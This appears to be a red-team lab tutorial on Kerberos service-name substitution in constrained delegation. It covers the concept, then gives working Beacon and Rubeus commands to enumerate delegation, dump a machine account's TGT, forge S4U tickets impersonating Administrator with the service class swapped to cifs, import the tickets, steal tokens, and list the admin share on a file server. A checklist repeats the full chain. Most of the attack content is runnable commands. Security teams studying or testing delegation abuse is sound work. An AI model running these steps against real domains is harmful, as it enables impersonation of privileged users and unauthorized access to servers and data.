Available

Search posts

Kerberos Service Name Substitution (altservice)

Use an allowed delegated SPN and substitute its service class when the destination service shares the same account key, with BOF and Rubeus examples.

Contents

1. Why the attack works

A service ticket’s outer service name is outside its encrypted ticket body. In the lab, an issued ticket can be retargeted from time/lon-fs-1 to cifs/lon-fs-1 without decrypting that body, because both services use the same computer account key.

The shared account/key is the condition that matters. A matching hostname alone is insufficient when a service runs under a different account. Service behavior and ticket validation also affect acceptance. Substitution does not rewrite the encrypted client identity, forge a new PAC, or grant extra user permissions.

ParameterRole
/msdsspn in Rubeus, /service in KerbeusOriginal SPN actually allowed by delegation
/altservice:cifsLocally substitute the service class in the resulting ticket
/ticketTGT of the controlled front-end account
/impersonateuserEligible client identity used for the protocol-transition example

2. Confirm delegation and service identity

shell
beacon> ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes samAccountName,msDS-AllowedToDelegateTo,userAccountControl
# Lab: LON-WS-1$ -> time/lon-fs-1
beacon> ldapsearch (&(samAccountType=805306369)(samAccountName=lon-fs-1$)) --attributes samAccountName,servicePrincipalName

Review which account owns the original and replacement services. Windows HOST service-class mappings may cover service names that are not explicitly listed as separate SPNs, so do not treat the literal absence of cifs in this output as a conclusive failure.

The example assumes protocol transition is enabled, the impersonated user can be delegated, and an elevated Beacon is already available on lon-ws-1.

powershell
[Convert]::ToBoolean(<UAC_VALUE> -band 16777216)

3. Request the allowed service, then substitute

shell
beacon> krb_dump /luid:3e7 /service:krbtgt
# Retain the TGT for LON-WS-1$.
# OPSEC Alternative
beacon> krb_s4u /ticket:<FRONTEND_TGT_BASE64> /service:time/lon-fs-1 /altservice:cifs /impersonateuser:Administrator
# Expected final SPN: cifs/lon-fs-1

Rubeus alternative from the same lab:

shell
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-ws-1$ /msdsspn:time/lon-fs-1 /altservice:cifs /ticket:<FRONTEND_TGT_BASE64> /impersonateuser:Administrator /nowrap

Keep the original time SPN in /msdsspn: requesting an unlisted cifs SPN directly is not equivalent. /altservice changes the resulting ticket locally; it does not modify the directory’s delegation configuration.

The challenge notes use the same idea with LON-WKSTN-1$, an allowed ldap/lon-dc-1 SPN, and substitution to cifs. LDAP is not inherently read-only: its usefulness depends on the authenticated identity’s permissions. In that challenge, CIFS is simply the service needed for the intended file access.

Use the resulting service ticket

Use the final service ticket, not the front-end TGT or intermediate S4U2self ticket. Create a separate network-only process, record its returned PID, and select that token in Beacon. FakePass is a placeholder for the network-only session; the imported ticket supplies Kerberos authentication.

shell
# Rubeus Alternative
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:<CIFS_TICKET_BASE64>
# Record ProcessID and verify that ticket import succeeded.
beacon> steal_token <PID>
beacon> run klist
# Client: Administrator @ CONTOSO.COM
# Server: cifs/lon-fs-1 @ CONTOSO.COM
beacon> ls \\lon-fs-1\c$

A ticket proves an identity to a service; it does not grant permissions absent from that identity. Use the hostname matching the ticket, not an IP address.

Ticket import alternatives

powershell
[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\administrator.kirbi", [Convert]::FromBase64String("<CIFS_TICKET_BASE64>"))
shell
# OPSEC Alternative
beacon> make_token CONTOSO\Administrator FakePass
beacon> kerberos_ticket_use C:\Users\Attacker\Desktop\administrator.kirbi
beacon> run klist
beacon> ls \\lon-fs-1\c$

Session cleanup

Purge only the disposable session while its token is selected, then revert and terminate the process created for this test. Do not purge an unrelated user’s cache.

shell
# Native cleanup
beacon> kerberos_ticket_purge
beacon> rev2self
# Rubeus createnetonly path only:
beacon> kill <PID>

Troubleshooting

SymptomCheck
S4U2proxy rejectedOriginal SPN, protocol-transition/evidence requirements and user restrictions
Modified ticket cannot be decryptedServices may use different account keys
Ticket accepted but access deniedImpersonated user’s authorization on the target
Wrong host in klistPreserve the target hostname; changing only the class does not move the service to another computer

Quick checklist

text
ENUMERATE AND SUBSTITUTE
[ ] Read the original SPN from msDS-AllowedToDelegateTo.
[ ] Verify that original and replacement services use the same account key.
[ ] Check protocol-transition requirements or obtain a suitable evidence ticket.
[ ] Extract and verify the controlled front-end TGT.
[ ] krb_s4u /ticket:<FRONTEND_TGT_BASE64> /service:time/lon-fs-1 /altservice:cifs /impersonateuser:Administrator
[ ] Rubeus alternative: s4u /user:lon-ws-1$ /msdsspn:time/lon-fs-1 /altservice:cifs /ticket:<FRONTEND_TGT_BASE64> /impersonateuser:Administrator /nowrap.
[ ] Keep the allowed original SPN in the request; substitute the final ticket's service class.
[ ] Confirm the final client and cifs/lon-fs-1 target before importing.

IMPORT AND VERIFY — CHOOSE ONE PATH
# OPSEC Alternative
[ ] PowerShell: [IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\administrator.kirbi", [Convert]::FromBase64String("<CIFS_TICKET_BASE64>"))
[ ] make_token CONTOSO\Administrator FakePass
[ ] kerberos_ticket_use C:\Users\Attacker\Desktop\administrator.kirbi
# Rubeus Alternative
[ ] createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:<CIFS_TICKET_BASE64>
[ ] Record the returned PID and LUID; steal_token <CREATED_PID>.
[ ] run klist -> verify the selected session, client identity, target and expiry.
[ ] ls \\lon-fs-1\c$ -> verify actual service authorization.

CLEANUP
[ ] Purge only the selected disposable cache: krb_purge or kerberos_ticket_purge.
[ ] rev2self -> restore the original token.
[ ] Rubeus createnetonly path only: kill <CREATED_PID>.